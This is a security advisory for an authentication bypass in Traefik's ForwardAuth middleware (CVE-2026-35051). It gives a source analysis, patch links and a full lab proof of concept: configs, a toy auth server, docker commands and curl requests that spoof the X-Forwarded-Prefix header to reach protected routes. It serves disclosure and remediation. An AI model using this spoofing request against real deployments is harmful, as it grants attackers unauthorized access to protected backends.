CVE-2026-35051

## Summary There is a high-severity authentication bypass vulnerability in Traefik's `ForwardAuth` middleware when `trustForwardHeader=false` is configured and Traefik is deployed behind a trusted upstream proxy. While `X-Forwarded-*` headers (such as `X-Forwarded-For`, `X-Forwarded-Host`, and `X-Forwarded-Proto`) from trusted context are correctly rebuilt, it does not strip or rebuild `X-Forwarded-Prefix`, leaving any attacker-supplied value intact in the subrequest forwarded to the authentication service. When the authentication service makes authorization decisions based on `X-Forwarded-Prefix`, an external attacker can spoof a trusted prefix value and gain unauthorized access to protected backend routes. ## Patches - https://github.com/traefik/traefik/releases/tag/v2.11.43 - https://github.com/traefik/traefik/releases/tag/v3.6.14 - https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2 ## For more information If there are any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ### Summary `ForwardAuth` with `trustForwardHeader=false` still forwards an attacker-controlled `X-Forwarded-Prefix` header to the authentication service when Traefik is deployed behind a trusted upstream proxy. If the auth service relies on `X-Forwarded-Prefix` for authorization or routing decisions, an external attacker can bypass access controls and reach protected backend routes. This was validated this against Traefik `v3.6.12` using the official Docker image and a minimal local Docker setup. A direct request to Traefik is correctly rejected, but the same request succeeds when sent through a trusted reverse proxy, which shows the issue is in the `ForwardAuth` subrequest handling rather than general ingress header stripping. ### Details The vulnerable behavior comes from the way Traefik builds the subrequest sent to the forward-auth server. In [`pkg/middlewares/auth/forward.go`](pkg/middlewares/auth/forward.go), `writeHeader` first copies all incoming request headers into the auth subrequest: ```go func writeHeader(req, forwardReq *http.Request, trustForwardHeader bool, allowedHeaders []string) { utils.CopyHeaders(forwardReq.Header, req.Header) ... forwardReq.Header = filterForwardRequestHeaders(forwardReq.Header, allowedHeaders) ``` It then selectively rebuilds only a subset of forwarded headers when `trustForwardHeader=false`, for example: - `X-Forwarded-For` - `X-Forwarded-Method` - `X-Forwarded-Proto` - `X-Forwarded-Port` - `X-Forwarded-Host` - `X-Forwarded-Uri` However, it does **not** remove or rebuild `X-Forwarded-Prefix`, so an attacker-supplied value remains in the auth request even when forwarded headers are supposed to be untrusted. This becomes security-relevant when `StripPrefix` is used before `ForwardAuth`. In [`pkg/middlewares/stripprefix/strip_prefix.go`](pkg/middlewares/stripprefix/strip_prefix.go), Traefik appends the stripped prefix using `Header.Add`: ```go func (s *stripPrefix) serveRequest(rw http.ResponseWriter, req *http.Request, prefix string) { req.Header.Add(ForwardedPrefixHeader, prefix) ``` If the attacker already sent `X-Forwarded-Prefix: /admin`, and `StripPrefix` later adds `/forbidden`, the auth service receives both values in this order: 1. `/admin` (attacker-controlled) 2. `/forbidden` (Traefik-generated) An auth service that uses the first `X-Forwarded-Prefix` value can therefore be tricked into authorizing a protected route. Why this appears unintended: - The docs say `trustForwardHeader` means "Trust all X-Forwarded-* headers" and defaults to `false`. - The migration notes say `X-Forwarded-Prefix` is handled like other `X-Forwarded-*` headers and removed from untrusted sources. - The direct-to-Traefik test case behaves consistently with that expectation and returns `403`. - Only the auth subrequest path still honors the spoofed `X-Forwarded-Prefix`. Relevant source/documentation locations: - `pkg/middlewares/auth/forward.go` lines 393-459 - `pkg/middlewares/stripprefix/strip_prefix.go` lines 65-68 - `pkg/middlewares/forwardedheaders/forwarded_header.go` lines 15-43 - `docs/content/reference/routing-configuration/http/middlewares/forwardauth.md` lines 59-62 and 130-140 - `docs/content/migrate/v3.md` lines 192-196 This was only tested and validated with `X-Forwarded-Prefix`. By source review, other forwarded headers that are copied but not rebuilt in `writeHeader` may deserve separate review, but I am not claiming impact for them here. ### PoC The following uses the official `traefik:v3.6.12` Docker image and a mounted `traefik.toml`, matching the documented deployment style. 1. Create `traefik.toml`: ```toml [entryPoints] [entryPoints.web] address = ":80" [entryPoints.web.forwardedHeaders] trustedIPs = ["172.31.79.0/24"] [providers] [providers.file] filename = "/etc/traefik/dynamic.toml" watch = false [log] level = "DEBUG" [accessLog] ``` 2. Create `dynamic.toml`: ```toml [http.routers] [http.routers.app] entryPoints = ["web"] rule = "Host(`app.local`) && PathPrefix(`/forbidden`)" middlewares = ["strip-forbidden", "authz"] service = "backend" [http.middlewares] [http.middlewares.strip-forbidden.stripPrefix] prefixes = ["/forbidden"] [http.middlewares.authz.forwardAuth] address = "http://auth:8000/check" trustForwardHeader = false authResponseHeaders = ["X-Auth-First-Prefix", "X-Auth-All-Prefixes"] [http.services] [http.services.backend.loadBalancer] [[http.services.backend.loadBalancer.servers]] url = "http://backend:80" ``` 3. Create `auth.py`: ```python import json from http.server import BaseHTTPRequestHandler, HTTPServer class Handler(BaseHTTPRequestHandler): def do_GET(self): if not self.path.startswith("/check"): self.send_response(404) self.end_headers() return prefixes = self.headers.get_all("X-Forwarded-Prefix") or [] first = prefixes[0] if prefixes else "" payload = { "path": self.path, "first_prefix": first, "all_prefixes": prefixes, "x_forwarded_for": self.headers.get_all("X-Forwarded-For") or [], } print(json.dumps(payload), flush=True) if first == "/admin": self.send_response(200) self.send_header("X-Auth-First-Prefix", first) self.send_header("X-Auth-All-Prefixes", "|".join(prefixes)) self.end_headers() self.wfile.write(b"authorized\n") return self.send_response(403) self.send_header("Content-Type", "application/json") self.end_headers() self.wfile.write(json.dumps(payload).encode() + b"\n") HTTPServer(("0.0.0.0", 8000), Handler).serve_forever() ``` 4. Create `frontend.conf`: ```nginx server { listen 80; access_log /dev/stdout; location / { proxy_http_version 1.1; proxy_pass http://traefik:80; proxy_set_header Host $http_host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } } ``` 5. Start the containers: ```bash docker network create --subnet 172.31.79.0/24 traefik-readme-net docker run -d --name traefik-readme-backend \ --network traefik-readme-net \ --network-alias backend \ traefik/whoami docker run -d --name traefik-readme-auth \ --network traefik-readme-net \ --network-alias auth \ -v "$PWD/auth.py:/app/auth.py:ro" \ -w /app \ python:3.12-alpine \ python /app/auth.py docker run -d --name traefik-readme-traefik \ --network traefik-readme-net \ --network-alias traefik \ -p 18081:80 \ -v "$PWD/traefik.toml:/etc/traefik/traefik.toml:ro" \ -v "$PWD/dynamic.toml:/etc/traefik/dynamic.toml:ro" \ traefik:v3.6.12 docker run -d --name traefik-readme-frontend \ --network traefik-readme-net \ -p 18080:80 \ -v "$PWD/frontend.conf:/etc/nginx/conf.d/default.conf:ro" \ nginx:alpine ``` 6. Send three requests: Direct to Traefik, spoofed header: ```bash curl -sS -i \ -H 'Host: app.local' \ -H 'X-Forwarded-Prefix: /admin' \ http://127.0.0.1:18081/forbidden/test ``` Expected result: ```http HTTP/1.1 403 Forbidden ... {"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"]} ``` Through trusted proxy, no spoofing: ```bash curl -sS -i \ -H 'Host: app.local' \ http://127.0.0.1:18080/forbidden/test ``` Expected result: ```http HTTP/1.1 403 Forbidden ... {"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"]} ``` Through trusted proxy, spoofed header: ```bash curl -sS -i \ -H 'Host: app.local' \ -H 'X-Forwarded-Prefix: /admin' \ http://127.0.0.1:18080/forbidden/test ``` Observed result: ```http HTTP/1.1 200 OK ... X-Auth-All-Prefixes: /admin|/forbidden X-Auth-First-Prefix: /admin X-Forwarded-Prefix: /admin X-Forwarded-Prefix: /forbidden ``` The backend response confirms that the request reached the protected upstream after the auth service accepted the attacker-controlled prefix. 7. Optional log confirmation from the auth service: ```bash docker logs traefik-readme-auth ``` Observed log sequence: ```json {"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"], ...} {"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"], ...} {"path": "/check", "first_prefix": "/admin", "all_prefixes": ["/admin", "/forbidden"], ...} ``` 8. Cleanup: ```bash docker rm -f traefik-readme-traefik traefik-readme-backend traefik-readme-auth traefik-readme-frontend docker network rm traefik-readme-net ``` ### Impact This is an authentication bypass / trust-boundary bypass. Affected deployments are those that: - run Traefik behind a trusted upstream proxy - use `ForwardAuth` - rely on `trustForwardHeader=false` to avoid trusting client-supplied forwarded headers - pass `X-Forwarded-Prefix` to the auth service, which happens by default when `authRequestHeaders` is empty - make authorization or routing decisions based on `X-Forwarded-Prefix`, especially when `StripPrefix` runs before `ForwardAuth` In those environments, an unauthenticated external attacker can influence the auth service's view of the protected path and gain access to backend routes that should be denied. </details> ----

Traefik's ForwardAuth trustForwardHeader=false allows spoofed X-Forwarded-Prefix to bypass authentication in github.com/traefik/traefik